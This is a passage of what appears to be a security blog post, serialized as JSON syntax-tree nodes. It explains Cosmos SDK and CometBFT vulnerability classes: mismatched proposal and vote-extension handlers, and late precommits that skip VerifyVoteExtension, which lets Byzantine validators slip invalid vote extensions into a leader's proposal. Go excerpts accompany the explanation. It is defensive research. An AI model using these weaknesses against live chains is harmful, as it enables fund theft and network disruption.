83049},{"class":87,"line":24215},[83050,83054,83058,83062,83066],{"type":21,"tag":85,"props":83051,"children":83052},{"style":120},[83053],{"type":26,"value":20651},{"type":21,"tag":85,"props":83055,"children":83056},{"style":108},[83057],{"type":26,"value":79103},{"type":21,"tag":85,"props":83059,"children":83060},{"style":114},[83061],{"type":26,"value":73},{"type":21,"tag":85,"props":83063,"children":83064},{"style":108},[83065],{"type":26,"value":76811},{"type":21,"tag":85,"props":83067,"children":83068},{"style":114},[83069],{"type":26,"value":182},{"type":21,"tag":85,"props":83071,"children":83072},{"class":87,"line":24223},[83073,83078,83082,83086,83091],{"type":21,"tag":85,"props":83074,"children":83075},{"style":120},[83076],{"type":26,"value":83077},"    recipient",{"type":21,"tag":85,"props":83079,"children":83080},{"style":108},[83081],{"type":26,"value":79103},{"type":21,"tag":85,"props":83083,"children":83084},{"style":114},[83085],{"type":26,"value":73},{"type":21,"tag":85,"props":83087,"children":83088},{"style":108},[83089],{"type":26,"value":83090},"AccAddress",{"type":21,"tag":85,"props":83092,"children":83093},{"style":114},[83094],{"type":26,"value":182},{"type":21,"tag":85,"props":83096,"children":83097},{"class":87,"line":24260},[83098,83102,83107,83111,83116],{"type":21,"tag":85,"props":83099,"children":83100},{"style":120},[83101],{"type":26,"value":62040},{"type":21,"tag":85,"props":83103,"children":83104},{"style":108},[83105],{"type":26,"value":83106}," math",{"type":21,"tag":85,"props":83108,"children":83109},{"style":114},[83110],{"type":26,"value":73},{"type":21,"tag":85,"props":83112,"children":83113},{"style":108},[83114],{"type":26,"value":83115},"Int",{"type":21,"tag":85,"props":83117,"children":83118},{"style":114},[83119],{"type":26,"value":182},{"type":21,"tag":85,"props":83121,"children":83122},{"class":87,"line":24273},[83123,83127,83131],{"type":21,"tag":85,"props":83124,"children":83125},{"style":114},[83126],{"type":26,"value":736},{"type":21,"tag":85,"props":83128,"children":83129},{"style":108},[83130],{"type":26,"value":15282},{"type":21,"tag":85,"props":83132,"children":83133},{"style":114},[83134],{"type":26,"value":148},{"type":21,"tag":85,"props":83136,"children":83137},{"class":87,"line":24286},[83138],{"type":21,"tag":85,"props":83139,"children":83140},{"style":169},[83141],{"type":26,"value":20767},{"type":21,"tag":85,"props":83143,"children":83144},{"class":87,"line":24299},[83145,83150,83154,83158,83162,83167,83171,83175],{"type":21,"tag":85,"props":83146,"children":83147},{"style":120},[83148],{"type":26,"value":83149},"    err",{"type":21,"tag":85,"props":83151,"children":83152},{"style":169},[83153],{"type":26,"value":1941},{"type":21,"tag":85,"props":83155,"children":83156},{"style":120},[83157],{"type":26,"value":81718},{"type":21,"tag":85,"props":83159,"children":83160},{"style":114},[83161],{"type":26,"value":73},{"type":21,"tag":85,"props":83163,"children":83164},{"style":120},[83165],{"type":26,"value":83166},"bankKeeper",{"type":21,"tag":85,"props":83168,"children":83169},{"style":114},[83170],{"type":26,"value":73},{"type":21,"tag":85,"props":83172,"children":83173},{"style":1021},[83174],{"type":26,"value":82105},{"type":21,"tag":85,"props":83176,"children":83177},{"style":114},[83178],{"type":26,"value":1029},{"type":21,"tag":85,"props":83180,"children":83181},{"class":87,"line":24353},[83182,83186],{"type":21,"tag":85,"props":83183,"children":83184},{"style":120},[83185],{"type":26,"value":26627},{"type":21,"tag":85,"props":83187,"children":83188},{"style":114},[83189],{"type":26,"value":182},{"type":21,"tag":85,"props":83191,"children":83192},{"class":87,"line":24362},[83193,83198,83202,83207],{"type":21,"tag":85,"props":83194,"children":83195},{"style":120},[83196],{"type":26,"value":83197},"        types",{"type":21,"tag":85,"props":83199,"children":83200},{"style":114},[83201],{"type":26,"value":73},{"type":21,"tag":85,"props":83203,"children":83204},{"style":120},[83205],{"type":26,"value":83206},"ModuleName",{"type":21,"tag":85,"props":83208,"children":83209},{"style":114},[83210],{"type":26,"value":182},{"type":21,"tag":85,"props":83212,"children":83213},{"class":87,"line":32726},[83214,83218],{"type":21,"tag":85,"props":83215,"children":83216},{"style":120},[83217],{"type":26,"value":82615},{"type":21,"tag":85,"props":83219,"children":83220},{"style":114},[83221],{"type":26,"value":182},{"type":21,"tag":85,"props":83223,"children":83224},{"class":87,"line":32747},[83225,83230],{"type":21,"tag":85,"props":83226,"children":83227},{"style":120},[83228],{"type":26,"value":83229},"        coins",{"type":21,"tag":85,"props":83231,"children":83232},{"style":114},[83233],{"type":26,"value":182},{"type":21,"tag":85,"props":83235,"children":83236},{"class":87,"line":81413},[83237],{"type":21,"tag":85,"props":83238,"children":83239},{"style":114},[83240],{"type":26,"value":24359},{"type":21,"tag":85,"props":83242,"children":83243},{"class":87,"line":81426},[83244,83248,83252,83256,83260],{"type":21,"tag":85,"props":83245,"children":83246},{"style":2885},[83247],{"type":26,"value":12696},{"type":21,"tag":85,"props":83249,"children":83250},{"style":120},[83251],{"type":26,"value":48976},{"type":21,"tag":85,"props":83253,"children":83254},{"style":169},[83255],{"type":26,"value":64845},{"type":21,"tag":85,"props":83257,"children":83258},{"style":102},[83259],{"type":26,"value":82380},{"type":21,"tag":85,"props":83261,"children":83262},{"style":114},[83263],{"type":26,"value":148},{"type":21,"tag":85,"props":83265,"children":83266},{"class":87,"line":81434},[83267,83271,83275,83279,83283,83287,83292,83296,83300],{"type":21,"tag":85,"props":83268,"children":83269},{"style":2885},[83270],{"type":26,"value":16164},{"type":21,"tag":85,"props":83272,"children":83273},{"style":120},[83274],{"type":26,"value":82696},{"type":21,"tag":85,"props":83276,"children":83277},{"style":114},[83278],{"type":26,"value":73},{"type":21,"tag":85,"props":83280,"children":83281},{"style":1021},[83282],{"type":26,"value":82413},{"type":21,"tag":85,"props":83284,"children":83285},{"style":114},[83286],{"type":26,"value":1439},{"type":21,"tag":85,"props":83288,"children":83289},{"style":5026},[83290],{"type":26,"value":83291},"\"failed to send coins: %w\"",{"type":21,"tag":85,"props":83293,"children":83294},{"style":114},[83295],{"type":26,"value":256},{"type":21,"tag":85,"props":83297,"children":83298},{"style":120},[83299],{"type":26,"value":48875},{"type":21,"tag":85,"props":83301,"children":83302},{"style":114},[83303],{"type":26,"value":2485},{"type":21,"tag":85,"props":83305,"children":83306},{"class":87,"line":81442},[83307],{"type":21,"tag":85,"props":83308,"children":83309},{"style":114},[83310],{"type":26,"value":507},{"type":21,"tag":85,"props":83312,"children":83313},{"class":87,"line":81450},[83314],{"type":21,"tag":85,"props":83315,"children":83316},{"style":169},[83317],{"type":26,"value":20767},{"type":21,"tag":85,"props":83319,"children":83320},{"class":87,"line":81490},[83321],{"type":21,"tag":85,"props":83322,"children":83323},{"style":114},[83324],{"type":26,"value":2671},{"type":21,"tag":75,"props":83326,"children":83328},{"code":83327,"language":76626,"meta":7,"className":76627,"style":7},"func (k BaseKeeper) SendCoinsFromModuleToAccount(\n ctx context.Context, senderModule string, recipientAddr sdk.AccAddress, amt sdk.Coins,\n) error {\n ...\n if k.BlockedAddr(recipientAddr) {\n  return errorsmod.Wrapf(sdkerrors.ErrUnauthorized, \"%s is not allowed to receive funds\", recipientAddr)\n }\n ...\n}\n",[83329],{"type":21,"tag":66,"props":83330,"children":83331},{"__ignoreMap":7},[83332,83364,83443,83458,83466,83497,83555,83562,83569],{"type":21,"tag":85,"props":83333,"children":83334},{"class":87,"line":88},[83335,83339,83343,83347,83352,83356,83360],{"type":21,"tag":85,"props":83336,"children":83337},{"style":102},[83338],{"type":26,"value":76762},{"type":21,"tag":85,"props":83340,"children":83341},{"style":114},[83342],{"type":26,"value":717},{"type":21,"tag":85,"props":83344,"children":83345},{"style":120},[83346],{"type":26,"value":81590},{"type":21,"tag":85,"props":83348,"children":83349},{"style":108},[83350],{"type":26,"value":83351},"BaseKeeper",{"type":21,"tag":85,"props":83353,"children":83354},{"style":114},[83355],{"type":26,"value":736},{"type":21,"tag":85,"props":83357,"children":83358},{"style":1021},[83359],{"type":26,"value":82105},{"type":21,"tag":85,"props":83361,"children":83362},{"style":114},[83363],{"type":26,"value":1029},{"type":21,"tag":85,"props":83365,"children":83366},{"class":87,"line":98},[83367,83371,83375,83379,83383,83387,83392,83396,83400,83405,83409,83413,83417,83421,83426,83430,83434,83439],{"type":21,"tag":85,"props":83368,"children":83369},{"style":120},[83370],{"type":26,"value":26284},{"type":21,"tag":85,"props":83372,"children":83373},{"style":108},[83374],{"type":26,"value":76802},{"type":21,"tag":85,"props":83376,"children":83377},{"style":114},[83378],{"type":26,"value":73},{"type":21,"tag":85,"props":83380,"children":83381},{"style":108},[83382],{"type":26,"value":76811},{"type":21,"tag":85,"props":83384,"children":83385},{"style":114},[83386],{"type":26,"value":256},{"type":21,"tag":85,"props":83388,"children":83389},{"style":120},[83390],{"type":26,"value":83391},"senderModule",{"type":21,"tag":85,"props":83393,"children":83394},{"style":108},[83395],{"type":26,"value":36477},{"type":21,"tag":85,"props":83397,"children":83398},{"style":114},[83399],{"type":26,"value":256},{"type":21,"tag":85,"props":83401,"children":83402},{"style":120},[83403],{"type":26,"value":83404},"recipientAddr",{"type":21,"tag":85,"props":83406,"children":83407},{"style":108},[83408],{"type":26,"value":79103},{"type":21,"tag":85,"props":83410,"children":83411},{"style":114},[83412],{"type":26,"value":73},{"type":21,"tag":85,"props":83414,"children":83415},{"style":108},[83416],{"type":26,"value":83090},{"type":21,"tag":85,"props":83418,"children":83419},{"style":114},[83420],{"type":26,"value":256},{"type":21,"tag":85,"props":83422,"children":83423},{"style":120},[83424],{"type":26,"value":83425},"amt",{"type":21,"tag":85,"props":83427,"children":83428},{"style":108},[83429],{"type":26,"value":79103},{"type":21,"tag":85,"props":83431,"children":83432},{"style":114},[83433],{"type":26,"value":73},{"type":21,"tag":85,"props":83435,"children":83436},{"style":108},[83437],{"type":26,"value":83438},"Coins",{"type":21,"tag":85,"props":83440,"children":83441},{"style":114},[83442],{"type":26,"value":182},{"type":21,"tag":85,"props":83444,"children":83445},{"class":87,"line":151},[83446,83450,83454],{"type":21,"tag":85,"props":83447,"children":83448},{"style":114},[83449],{"type":26,"value":736},{"type":21,"tag":85,"props":83451,"children":83452},{"style":108},[83453],{"type":26,"value":15282},{"type":21,"tag":85,"props":83455,"children":83456},{"style":114},[83457],{"type":26,"value":148},{"type":21,"tag":85,"props":83459,"children":83460},{"class":87,"line":160},[83461],{"type":21,"tag":85,"props":83462,"children":83463},{"style":169},[83464],{"type":26,"value":83465}," ...\n",{"type":21,"tag":85,"props":83467,"children":83468},{"class":87,"line":185},[83469,83473,83477,83481,83485,83489,83493],{"type":21,"tag":85,"props":83470,"children":83471},{"style":2885},[83472],{"type":26,"value":16208},{"type":21,"tag":85,"props":83474,"children":83475},{"style":120},[83476],{"type":26,"value":81718},{"type":21,"tag":85,"props":83478,"children":83479},{"style":114},[83480],{"type":26,"value":73},{"type":21,"tag":85,"props":83482,"children":83483},{"style":1021},[83484],{"type":26,"value":82121},{"type":21,"tag":85,"props":83486,"children":83487},{"style":114},[83488],{"type":26,"value":1439},{"type":21,"tag":85,"props":83490,"children":83491},{"style":120},[83492],{"type":26,"value":83404},{"type":21,"tag":85,"props":83494,"children":83495},{"style":114},[83496],{"type":26,"value":15222},{"type":21,"tag":85,"props":83498,"children":83499},{"class":87,"line":501},[83500,83504,83509,83513,83517,83521,83525,83529,83534,83538,83543,83547,83551],{"type":21,"tag":85,"props":83501,"children":83502},{"style":2885},[83503],{"type":26,"value":39647},{"type":21,"tag":85,"props":83505,"children":83506},{"style":120},[83507],{"type":26,"value":83508}," errorsmod",{"type":21,"tag":85,"props":83510,"children":83511},{"style":114},[83512],{"type":26,"value":73},{"type":21,"tag":85,"props":83514,"children":83515},{"style":1021},[83516],{"type":26,"value":81372},{"type":21,"tag":85,"props":83518,"children":83519},{"style":114},[83520],{"type":26,"value":1439},{"type":21,"tag":85,"props":83522,"children":83523},{"style":120},[83524],{"type":26,"value":81034},{"type":21,"tag":85,"props":83526,"children":83527},{"style":114},[83528],{"type":26,"value":73},{"type":21,"tag":85,"props":83530,"children":83531},{"style":120},[83532],{"type":26,"value":83533},"ErrUnauthorized",{"type":21,"tag":85,"props":83535,"children":83536},{"style":114},[83537],{"type":26,"value":256},{"type":21,"tag":85,"props":83539,"children":83540},{"style":5026},[83541],{"type":26,"value":83542},"\"%s is not allowed to receive funds\"",{"type":21,"tag":85,"props":83544,"children":83545},{"style":114},[83546],{"type":26,"value":256},{"type":21,"tag":85,"props":83548,"children":83549},{"style":120},[83550],{"type":26,"value":83404},{"type":21,"tag":85,"props":83552,"children":83553},{"style":114},[83554],{"type":26,"value":2485},{"type":21,"tag":85,"props":83556,"children":83557},{"class":87,"line":697},[83558],{"type":21,"tag":85,"props":83559,"children":83560},{"style":114},[83561],{"type":26,"value":10009},{"type":21,"tag":85,"props":83563,"children":83564},{"class":87,"line":706},[83565],{"type":21,"tag":85,"props":83566,"children":83567},{"style":169},[83568],{"type":26,"value":83465},{"type":21,"tag":85,"props":83570,"children":83571},{"class":87,"line":1100},[83572],{"type":21,"tag":85,"props":83573,"children":83574},{"style":114},[83575],{"type":26,"value":2671},{"type":21,"tag":22,"props":83577,"children":83578},{},[83579,83581,83588],{"type":26,"value":83580},"This shows even well-known bug classes still resurface from time to time due to unforeseen invariant violations. Additional examples include ",{"type":21,"tag":335,"props":83582,"children":83585},{"href":83583,"rel":83584},"https://hackerone.com/reports/3018307",[339],[83586],{"type":26,"value":83587},"improper decimal handling in the group module",{"type":26,"value":73},{"type":21,"tag":54,"props":83590,"children":83592},{"id":83591},"same-same-but-different",[83593],{"type":26,"value":83594},"Same, Same... But Different",{"type":21,"tag":22,"props":83596,"children":83597},{},[83598,83600,83606,83607,83613,83614,83620,83621,83627],{"type":26,"value":83599},"Cosmos exposes several consensus-level interfaces, such as ",{"type":21,"tag":66,"props":83601,"children":83603},{"className":83602},[],[83604],{"type":26,"value":83605},"PrepareProposal",{"type":26,"value":256},{"type":21,"tag":66,"props":83608,"children":83610},{"className":83609},[],[83611],{"type":26,"value":83612},"ProcessProposal",{"type":26,"value":256},{"type":21,"tag":66,"props":83615,"children":83617},{"className":83616},[],[83618],{"type":26,"value":83619},"ExtendVote",{"type":26,"value":820},{"type":21,"tag":66,"props":83622,"children":83624},{"className":83623},[],[83625],{"type":26,"value":83626},"VerifyVoteExtension",{"type":26,"value":83628},". These ABCI methods allow developers to customize how blocks are constructed, as well as inject supplementary data into each block.",{"type":21,"tag":22,"props":83630,"children":83631},{},[83632],{"type":26,"value":83633},"Two of the best-known attack surfaces are",{"type":21,"tag":841,"props":83635,"children":83636},{},[83637,83666],{"type":21,"tag":845,"props":83638,"children":83639},{},[83640,83645,83646,83651,83653,83658,83659,83664],{"type":21,"tag":66,"props":83641,"children":83643},{"className":83642},[],[83644],{"type":26,"value":83605},{"type":26,"value":717},{"type":21,"tag":66,"props":83647,"children":83649},{"className":83648},[],[83650],{"type":26,"value":83619},{"type":26,"value":83652},") outputs being rejected due to ",{"type":21,"tag":66,"props":83654,"children":83656},{"className":83655},[],[83657],{"type":26,"value":83612},{"type":26,"value":717},{"type":21,"tag":66,"props":83660,"children":83662},{"className":83661},[],[83663],{"type":26,"value":83626},{"type":26,"value":83665},") over-validating, resulting in liveness failures.",{"type":21,"tag":845,"props":83667,"children":83668},{},[83669,83671,83676,83677,83682,83684,83689,83690,83695],{"type":26,"value":83670},"Malicious proposals and vote extensions not created through the ",{"type":21,"tag":66,"props":83672,"children":83674},{"className":83673},[],[83675],{"type":26,"value":83605},{"type":26,"value":717},{"type":21,"tag":66,"props":83678,"children":83680},{"className":83679},[],[83681],{"type":26,"value":83619},{"type":26,"value":83683},") are accepted due to ",{"type":21,"tag":66,"props":83685,"children":83687},{"className":83686},[],[83688],{"type":26,"value":83612},{"type":26,"value":717},{"type":21,"tag":66,"props":83691,"children":83693},{"className":83692},[],[83694],{"type":26,"value":83626},{"type":26,"value":83696},") under-validating.",{"type":21,"tag":22,"props":83698,"children":83699},{},[83700],{"type":26,"value":83701},"In essence, any difference in pairs of handlers will likely lead to security issues.",{"type":21,"tag":22,"props":83703,"children":83704},{},[83705,83707,83713,83715,83720],{"type":26,"value":83706},"There are also a few lesser known variants of these issues. One instance is the validation of ",{"type":21,"tag":66,"props":83708,"children":83710},{"className":83709},[],[83711],{"type":26,"value":83712},"VoteExtensions",{"type":26,"value":83714}," within ",{"type":21,"tag":66,"props":83716,"children":83718},{"className":83717},[],[83719],{"type":26,"value":83605},{"type":26,"value":83721},". To provide context, we start with a primer on the CometBTF consensus and vote extensions.",{"type":21,"tag":22,"props":83723,"children":83724},{},[83725,83727,83732,83734,83739],{"type":26,"value":83726},"Consensus starts with a leader creating a proposal and then broadcasting it to each validator. Validators then proceed to vote on whether or not to accept the proposal. During the voting phase, ",{"type":21,"tag":66,"props":83728,"children":83730},{"className":83729},[],[83731],{"type":26,"value":83619},{"type":26,"value":83733}," is called to attach additional data to the votes. Once a validator collects enough valid votes that pass ",{"type":21,"tag":66,"props":83735,"children":83737},{"className":83736},[],[83738],{"type":26,"value":83626},{"type":26,"value":83740},", a proposal is considered accepted and can be committed. After committing the proposal, a new leader starts to create the next proposal, bringing us back to the point where we started.",{"type":21,"tag":22,"props":83742,"children":83743},{},[83744,83746,83751],{"type":26,"value":83745},"So, where are the attached vote extension data used? It turns out a leader should include the vote extensions of the previous consensus round in its proposal. It might be tempting to conclude that all vote extensions an honest leader accepted have passed the ",{"type":21,"tag":66,"props":83747,"children":83749},{"className":83748},[],[83750],{"type":26,"value":83626},{"type":26,"value":83752}," check and are therefore valid. Thus, we can directly inject all vote extensions into our proposal.",{"type":21,"tag":22,"props":83754,"children":83755},{},[83756,83758,83763,83765,83771],{"type":26,"value":83757},"Unfortunately, CometBTF directly accepts late precommits without passing them through ",{"type":21,"tag":66,"props":83759,"children":83761},{"className":83760},[],[83762],{"type":26,"value":83626},{"type":26,"value":83764},". This exposes a time window where Byzantine validators can smuggle malicious vote into the next leader's cache, luring the leader into including invalid vote extensions into its ",{"type":21,"tag":66,"props":83766,"children":83768},{"className":83767},[],[83769],{"type":26,"value":83770},"Proposal",{"type":26,"value":73},{"type":21,"tag":75,"props":83773,"children":83775},{"code":83774,"language":76626,"meta":7,"className":76627,"style":7},"func (cs *State) addVote(vote *types.Vote, peerID p2p.ID) (added bool, err error) {\n    ...\n\n    // A precommit for the previous height?\n    // These come in while we wait timeoutCommit\n    if vote.Height+1 == cs.Height && vote.Type == types.PrecommitType {\n        ...\n        // Late precommits are not checked by VerifyVoteExtension\n        added, err = cs.LastCommit.AddVote(vote)\n        ...\n        return added, err\n    }\n    extEnabled := cs.state.ConsensusParams.Feature.VoteExtensionsEnabled(vote.Height)\n    if extEnabled {\n        ...\n        if vote.Type == types.PrecommitType && !vote.BlockID.IsNil() &&\n            !bytes.Equal(vote.ValidatorAddress, myAddr) { // Skip the VerifyVoteExtension call if the vote was issued by this validator.\n            ...\n            err := cs.blockExec.VerifyVoteExtension(context.TODO(), vote)\n            ...\n        }\n    } else if {\n        ...\n    }\n    ...\n}\n",[83776],{"type":21,"tag":66,"props":83777,"children":83778},{"__ignoreMap":7},[83779,83891,83898,83905,83913,83921,84005,84012,84020,84074,84081,84102,84109,84181,84197,84204,84278,84334,84341,84403,84410,84417,84436,84443,84450,84457],{"type":21,"tag":85,"props":83780,"children":83781},{"class":87,"line":88},[83782,83786,83790,83795,83799,83804,83808,83813,83817,83822,83826,83830,83834,83839,83843,83848,83853,83857,83862,83866,83871,83875,83879,83883,83887],{"type":21,"tag":85,"props":83783,"children":83784},{"style":102},[83785],{"type":26,"value":76762},{"type":21,"tag":85,"props":83787,"children":83788},{"style":114},[83789],{"type":26,"value":717},{"type":21,"tag":85,"props":83791,"children":83792},{"style":120},[83793],{"type":26,"value":83794},"cs ",{"type":21,"tag":85,"props":83796,"children":83797},{"style":169},[83798],{"type":26,"value":3052},{"type":21,"tag":85,"props":83800,"children":83801},{"style":108},[83802],{"type":26,"value":83803},"State",{"type":21,"tag":85,"props":83805,"children":83806},{"style":114},[83807],{"type":26,"value":736},{"type":21,"tag":85,"props":83809,"children":83810},{"style":1021},[83811],{"type":26,"value":83812},"addVote",{"type":21,"tag":85,"props":83814,"children":83815},{"style":114},[83816],{"type":26,"value":1439},{"type":21,"tag":85,"props":83818,"children":83819},{"style":120},[83820],{"type":26,"value":83821},"vote",{"type":21,"tag":85,"props":83823,"children":83824},{"style":169},[83825],{"type":26,"value":10231},{"type":21,"tag":85,"props":83827,"children":83828},{"style":108},[83829],{"type":26,"value":56},{"type":21,"tag":85,"props":83831,"children":83832},{"style":114},[83833],{"type":26,"value":73},{"type":21,"tag":85,"props":83835,"children":83836},{"style":108},[83837],{"type":26,"value":83838},"Vote",{"type":21,"tag":85,"props":83840,"children":83841},{"style":114},[83842],{"type":26,"value":256},{"type":21,"tag":85,"props":83844,"children":83845},{"style":120},[83846],{"type":26,"value":83847},"peerID",{"type":21,"tag":85,"props":83849,"children":83850},{"style":108},[83851],{"type":26,"value":83852}," p2p",{"type":21,"tag":85,"props":83854,"children":83855},{"style":114},[83856],{"type":26,"value":73},{"type":21,"tag":85,"props":83858,"children":83859},{"style":108},[83860],{"type":26,"value":83861},"ID",{"type":21,"tag":85,"props":83863,"children":83864},{"style":114},[83865],{"type":26,"value":76844},{"type":21,"tag":85,"props":83867,"children":83868},{"style":120},[83869],{"type":26,"value":83870},"added",{"type":21,"tag":85,"props":83872,"children":83873},{"style":108},[83874],{"type":26,"value":12467},{"type":21,"tag":85,"props":83876,"children":83877},{"style":114},[83878],{"type":26,"value":256},{"type":21,"tag":85,"props":83880,"children":83881},{"style":120},[83882],{"type":26,"value":48875},{"type":21,"tag":85,"props":83884,"children":83885},{"style":108},[83886],{"type":26,"value":15295},{"type":21,"tag":85,"props":83888,"children":83889},{"style":114},[83890],{"type":26,"value":15222},{"type":21,"tag":85,"props":83892,"children":83893},{"class":87,"line":98},[83894],{"type":21,"tag":85,"props":83895,"children":83896},{"style":169},[83897],{"type":26,"value":20767},{"type":21,"tag":85,"props":83899,"children":83900},{"class":87,"line":151},[83901],{"type":21,"tag":85,"props":83902,"children":83903},{"emptyLinePlaceholder":16},[83904],{"type":26,"value":703},{"type":21,"tag":85,"props":83906,"children":83907},{"class":87,"line":160},[83908],{"type":21,"tag":85,"props":83909,"children":83910},{"style":92},[83911],{"type":26,"value":83912},"    // A precommit for the previous height?\n",{"type":21,"tag":85,"props":83914,"children":83915},{"class":87,"line":185},[83916],{"type":21,"tag":85,"props":83917,"children":83918},{"style":92},[83919],{"type":26,"value":83920},"    // These come in while we wait timeoutCommit\n",{"type":21,"tag":85,"props":83922,"children":83923},{"class":87,"line":501},[83924,83928,83933,83937,83942,83946,83950,83954,83959,83963,83967,83971,83975,83979,83984,83988,83992,83996,84001],{"type":21,"tag":85,"props":83925,"children":83926},{"style":2885},[83927],{"type":26,"value":12696},{"type":21,"tag":85,"props":83929,"children":83930},{"style":120},[83931],{"type":26,"value":83932}," vote",{"type":21,"tag":85,"props":83934,"children":83935},{"style":114},[83936],{"type":26,"value":73},{"type":21,"tag":85,"props":83938,"children":83939},{"style":120},[83940],{"type":26,"value":83941},"Height",{"type":21,"tag":85,"props":83943,"children":83944},{"style":169},[83945],{"type":26,"value":5151},{"type":21,"tag":85,"props":83947,"children":83948},{"style":2285},[83949],{"type":26,"value":4779},{"type":21,"tag":85,"props":83951,"children":83952},{"style":169},[83953],{"type":26,"value":2282},{"type":21,"tag":85,"props":83955,"children":83956},{"style":120},[83957],{"type":26,"value":83958}," cs",{"type":21,"tag":85,"props":83960,"children":83961},{"style":114},[83962],{"type":26,"value":73},{"type":21,"tag":85,"props":83964,"children":83965},{"style":120},[83966],{"type":26,"value":83941},{"type":21,"tag":85,"props":83968,"children":83969},{"style":169},[83970],{"type":26,"value":14603},{"type":21,"tag":85,"props":83972,"children":83973},{"style":120},[83974],{"type":26,"value":83932},{"type":21,"tag":85,"props":83976,"children":83977},{"style":114},[83978],{"type":26,"value":73},{"type":21,"tag":85,"props":83980,"children":83981},{"style":120},[83982],{"type":26,"value":83983},"Type",{"type":21,"tag":85,"props":83985,"children":83986},{"style":169},[83987],{"type":26,"value":2282},{"type":21,"tag":85,"props":83989,"children":83990},{"style":120},[83991],{"type":26,"value":78637},{"type":21,"tag":85,"props":83993,"children":83994},{"style":114},[83995],{"type":26,"value":73},{"type":21,"tag":85,"props":83997,"children":83998},{"style":120},[83999],{"type":26,"value":84000},"PrecommitType",{"type":21,"tag":85,"props":84002,"children":84003},{"style":114},[84004],{"type":26,"value":148},{"type":21,"tag":85,"props":84006,"children":84007},{"class":87,"line":697},[84008],{"type":21,"tag":85,"props":84009,"children":84010},{"style":169},[84011],{"type":26,"value":82304},{"type":21,"tag":85,"props":84013,"children":84014},{"class":87,"line":706},[84015],{"type":21,"tag":85,"props":84016,"children":84017},{"style":92},[84018],{"type":26,"value":84019},"        // Late precommits are not checked by VerifyVoteExtension\n",{"type":21,"tag":85,"props":84021,"children":84022},{"class":87,"line":1100},[84023,84028,84032,84036,84040,84044,84048,84053,84057,84062,84066,84070],{"type":21,"tag":85,"props":84024,"children":84025},{"style":120},[84026],{"type":26,"value":84027},"        added",{"type":21,"tag":85,"props":84029,"children":84030},{"style":114},[84031],{"type":26,"value":256},{"type":21,"tag":85,"props":84033,"children":84034},{"style":120},[84035],{"type":26,"value":48875},{"type":21,"tag":85,"props":84037,"children":84038},{"style":169},[84039],{"type":26,"value":1941},{"type":21,"tag":85,"props":84041,"children":84042},{"style":120},[84043],{"type":26,"value":83958},{"type":21,"tag":85,"props":84045,"children":84046},{"style":114},[84047],{"type":26,"value":73},{"type":21,"tag":85,"props":84049,"children":84050},{"style":120},[84051],{"type":26,"value":84052},"LastCommit",{"type":21,"tag":85,"props":84054,"children":84055},{"style":114},[84056],{"type":26,"value":73},{"type":21,"tag":85,"props":84058,"children":84059},{"style":1021},[84060],{"type":26,"value":84061},"AddVote",{"type":21,"tag":85,"props":84063,"children":84064},{"style":114},[84065],{"type":26,"value":1439},{"type":21,"tag":85,"props":84067,"children":84068},{"style":120},[84069],{"type":26,"value":83821},{"type":21,"tag":85,"props":84071,"children":84072},{"style":114},[84073],{"type":26,"value":2485},{"type":21,"tag":85,"props":84075,"children":84076},{"class":87,"line":1339},[84077],{"type":21,"tag":85,"props":84078,"children":84079},{"style":169},[84080],{"type":26,"value":82304},{"type":21,"tag":85,"props":84082,"children":84083},{"class":87,"line":1348},[84084,84088,84093,84097],{"type":21,"tag":85,"props":84085,"children":84086},{"style":2885},[84087],{"type":26,"value":16164},{"type":21,"tag":85,"props":84089,"children":84090},{"style":120},[84091],{"type":26,"value":84092}," added",{"type":21,"tag":85,"props":84094,"children":84095},{"style":114},[84096],{"type":26,"value":256},{"type":21,"tag":85,"props":84098,"children":84099},{"style":120},[84100],{"type":26,"value":84101},"err\n",{"type":21,"tag":85,"props":84103,"children":84104},{"class":87,"line":1386},[84105],{"type":21,"tag":85,"props":84106,"children":84107},{"style":114},[84108],{"type":26,"value":507},{"type":21,"tag":85,"props":84110,"children":84111},{"class":87,"line":1394},[84112,84117,84121,84125,84129,84134,84138,84143,84147,84152,84156,84161,84165,84169,84173,84177],{"type":21,"tag":85,"props":84113,"children":84114},{"style":120},[84115],{"type":26,"value":84116},"    extEnabled",{"type":21,"tag":85,"props":84118,"children":84119},{"style":169},[84120],{"type":26,"value":76878},{"type":21,"tag":85,"props":84122,"children":84123},{"style":120},[84124],{"type":26,"value":83958},{"type":21,"tag":85,"props":84126,"children":84127},{"style":114},[84128],{"type":26,"value":73},{"type":21,"tag":85,"props":84130,"children":84131},{"style":120},[84132],{"type":26,"value":84133},"state",{"type":21,"tag":85,"props":84135,"children":84136},{"style":114},[84137],{"type":26,"value":73},{"type":21,"tag":85,"props":84139,"children":84140},{"style":120},[84141],{"type":26,"value":84142},"ConsensusParams",{"type":21,"tag":85,"props":84144,"children":84145},{"style":114},[84146],{"type":26,"value":73},{"type":21,"tag":85,"props":84148,"children":84149},{"style":120},[84150],{"type":26,"value":84151},"Feature",{"type":21,"tag":85,"props":84153,"children":84154},{"style":114},[84155],{"type":26,"value":73},{"type":21,"tag":85,"props":84157,"children":84158},{"style":1021},[84159],{"type":26,"value":84160},"VoteExtensionsEnabled",{"type":21,"tag":85,"props":84162,"children":84163},{"style":114},[84164],{"type":26,"value":1439},{"type":21,"tag":85,"props":84166,"children":84167},{"style":120},[84168],{"type":26,"value":83821},{"type":21,"tag":85,"props":84170,"children":84171},{"style":114},[84172],{"type":26,"value":73},{"type":21,"tag":85,"props":84174,"children":84175},{"style":120},[84176],{"type":26,"value":83941},{"type":21,"tag":85,"props":84178,"children":84179},{"style":114},[84180],{"type":26,"value":2485},{"type":21,"tag":85,"props":84182,"children":84183},{"class":87,"line":1402},[84184,84188,84193],{"type":21,"tag":85,"props":84185,"children":84186},{"style":2885},[84187],{"type":26,"value":12696},{"type":21,"tag":85,"props":84189,"children":84190},{"style":120},[84191],{"type":26,"value":84192}," 